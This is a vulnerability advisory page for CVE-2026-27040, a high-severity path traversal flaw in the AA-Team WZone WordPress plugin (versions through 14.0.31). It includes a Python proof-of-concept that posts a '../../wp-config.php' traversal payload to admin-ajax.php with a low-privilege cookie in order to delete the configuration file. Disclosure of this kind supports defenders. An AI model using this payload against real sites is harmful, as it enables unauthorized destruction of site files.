CVE-2026-27040

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in AA-Team WZone woozone allows Path Traversal.This issue affects WZone: from n/a through <= 14.0.31.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AA-Team WZone <= 14.0.31

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: WZone <= 14.0.31 - Arbitrary File Deletion via Path Traversal
# Date: 2026-03-25
# Vulnerability: Path Traversal

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
cookies = {
    "wordpress_logged_in_xxx": "..." # Low privilege user cookie
}

# Payload attempting to delete wp-config.php using path traversal
data = {
    "action": "woozone_ajax", # Action parameter might vary based on plugin
    "file_path": "../../wp-config.php" # Path traversal payload to escape webroot
}

try:
    response = requests.post(target_url, data=data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Exploit request sent successfully.")
        print("[+] Response:", response.text)
    else:
        print("[-] Failed to send exploit request.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27040
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27040
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27040/
[4] VulDB https://vuldb.com/cve/CVE-2026-27040
[5] https://patchstack.com/database/Wordpress/Plugin/woozone/vulnerability/wordpress-wzone-plugin-14-0-31-arbitrary-file-deletion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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